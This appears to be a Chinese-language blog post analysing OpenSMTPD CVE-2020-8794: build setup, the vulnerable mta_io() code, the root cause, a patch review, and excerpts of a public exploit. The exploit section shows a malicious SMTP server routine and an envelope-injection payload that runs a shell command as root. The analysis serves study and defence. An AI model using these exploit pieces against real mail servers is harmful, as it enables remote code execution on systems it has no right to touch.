环境搭建

系统:

Ubuntu 19.04

之前一直出现问题,就是系统版本的问题,由于系统版本低,OpenSMTPD比较新,很多依赖不兼容,编译也一直报错,浪费很多时间。

安装依赖:

sudo apt install automake libevent-dev libtool bison openssl-dev
sudo apt install libasr-dev
sudo apt install libz-dev

下载OpenSMTPD:

git clone https://github.com/OpenSMTPD/OpenSMTPD.git
cd OpenSMTPD
git checkout -b 748ff6830cba54dd2f6b008dc3d97f2a3a429a2f

安装OpenSMTPD

./bootstrap  
./configure
make
sudo make install

影响版本

OpenSMTPD <= 6.6.4

漏洞分析

SMTP 客户端连接到服务端时,可以发送EHLO、MAIL FROM、RCPT TO之类的指令,服务端会回复单行或多行

第一行为三个数字+‘-’+字符串,如”250-ENHANCEDSTATUSCODES”

最后一行为三个数字+‘ ’+字符串,如”250 HELP”

客户端多行回复在mta_io() 函数中实现。

漏洞代码:smtpd/mta_session.c:1101:mta_io(struct io *io, int evt, void *arg)

static void
mta_io(struct io *io, int evt, void *arg)
{
        struct mta_session      *s = arg;
        char                    *line, *msg, *p;
        size_t                   len;
        const char              *error;
        int                      cont;
        ……
        case IO_DATAIN:
            nextline:
                line = io_getline(s->io, &len);
                if (line == NULL) {
                        if (io_datalen(s->io) >= LINE_MAX) {
                                mta_error(s, "Input too long");
                                mta_free(s);
                        }
                        return;
                }

                log_trace(TRACE_MTA, "mta: %p: <<< %s", s, line);

                if ((error = parse_smtp_response(line, len, &msg, &cont))) {
                        mta_error(s, "Bad response: %s", error);
                        mta_free(s);
                        return;
                }
        ……
            if (cont) { //表示还要继续读取
                        if (s->replybuf[0] == '\0')
                                (void)strlcat(s->replybuf, line, sizeof s->replybuf);
                        else {
                                line = line + 4;
                                if (isdigit((int)*line) && *(line + 1) == '.' &&
                                    isdigit((int)*line+2) && *(line + 3) == '.' &&
                                    isdigit((int)*line+4) && isspace((int)*(line + 5)))
                                        (void)strlcat(s->replybuf, line+5, sizeof s->replybuf);
                                else
                                        (void)strlcat(s->replybuf, line, sizeof s->replybuf);
                        }
                        goto nextline; //通过goto实现循环读取回复的行数
                }

                /* last line of a reply, check if we're on a continuation to parse out status and ESC.
                 * if we overflow reply buffer or are not on continuation, log entire last line.
                 */
      1          if (s->replybuf[0] != '\0') { //处理最后一行回复,此时cont为0了,表示这是最后一行了。
                        p = line + 4;
                        if (isdigit((int)*p) && *(p + 1) == '.' &&
                            isdigit((int)*p+2) && *(p + 3) == '.' &&
                            isdigit((int)*p+4) && isspace((int)*(p + 5)))
                                p += 5;
       2                 if (strlcat(s->replybuf, p, sizeof s->replybuf) >= sizeof s->replybuf)
                                (void)strlcpy(s->replybuf, line, sizeof s->replybuf);
                }

漏洞成因:

正常‘\n’表示一行结束,但是如果输入”xyz\nstring\0”作为最后一行,则p指针指向‘string\0’,将string拼接在s->replybuf,在【2】处,通过p指针访问string其实就是越界读了,因为正常‘xyz\n’ 表示最后一行,已经结束了,string字符串是最后一行之后的数据。

由于iobuf_getline里只处理了字符串的第一个’\n’,并将其替换成‘\0’,所以传入的是”xyz\nstring\0”,则string中‘\n’就会保留,就能在envelop中注入新的一行。如果传入的是正常的”123 string\n”,则在string中的换行就会被替换‘\0’,那么拼接到replybuf中就是string中到第一个换行的部分数据,不能注入到envelop。

所以该漏洞利用的关键点在于最后一行的第四个字符要为‘\n’,这样string中‘\n’才能保留并拼接到replybuf中。

漏洞利用:

(1)将回复的三个数字码替换成‘4yz’或‘5yz’,replybuf的内容就会被写入envelop中的“errorline”中

(2)envelope是以 ”field: data\n“ 的形式保存,因为越界的string 可以包含’\n’,所以能在envelop中注入新的一行,对OpenSMTPD进行攻击。

Exp分析

static struct {
    const char * command;
    const char * user;
    const char * dispatcher;
    const char * maildir;
    char lines[512];
} inject = {
    .command = "X=`mktemp /tmp/x.XXXXXX`&&id>>$X;exit 0",
    .user = "root",
    .dispatcher = "local_mail",
    .maildir = NULL,
};
const int len = snprintf(inject.lines, sizeof(inject.lines), //要注入到envelop中的数据
            "type:mda\nmda-exec:%s\ndispatcher:%s\nmda-user:%s",
            inject.command, inject.dispatcher, inject.user);
static void
server_session(const char * const inject_lines)
{
    const char * const error_code =
        (exploit == SERVER_SIDE_EXPLOIT) ? "421" : "553";

    server_accept();
    server_send("220 ent.of.line ESMTP\n");

    server_recv("EHLO ");
    server_send("250 ent.of.line Hello\n");

    server_recv("MAIL FROM:<");
    if ((strncmp(server_command, "MAIL FROM:<>", 12) == 0) !=
        (exploit == SERVER_SIDE_EXPLOIT)) die();

    if (inject_lines != NULL) {
        if (inject_lines[0] == '\0') die();
        if (inject_lines[0] == '\n') die();
        if (inject_lines[strlen(inject_lines)-1] == '\n') die();

        server_send("%s-Error\n", error_code); //通过错误码进行注入,
        server_send("%s\n\n%s%c", error_code, inject_lines, (int)'\0'); 
        //第一个'\n'用于iobuf_getline中'\n'转换成'\0',第二个'\n'用于另起一行。

    } else {
        server_send("%s Error\n", error_code);

        server_recv("RSET");
        server_send("250 Reset\n");

        server_recv("QUIT");
        server_send("221 Bye\n");
    }
    server_close();
}

补丁分析

img

这里通过检测len的大小来避免越界读,因为len是通过iobuf_getline函数获得,表示遇到第一个’\r’或’\n’的长度。这样第四个字符为‘\n’ 时,长度为4,不能进入漏洞处。

参考链接

OpenSMTPD:

https://github.com/OpenSMTPD/OpenSMTPD

https://www.openwall.com/lists/oss-security/2020/02/26/1

https://cert.360.cn/warning/detail?id=5ed8d8cc121c223ac27d877f9e7b20b9

https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install.txt

https://www.qualys.com/2020/02/24/cve-2020-8794/lpe-rce-opensmtpd-default-install-exploit.c

https://www.freebuf.com/vuls/228494.html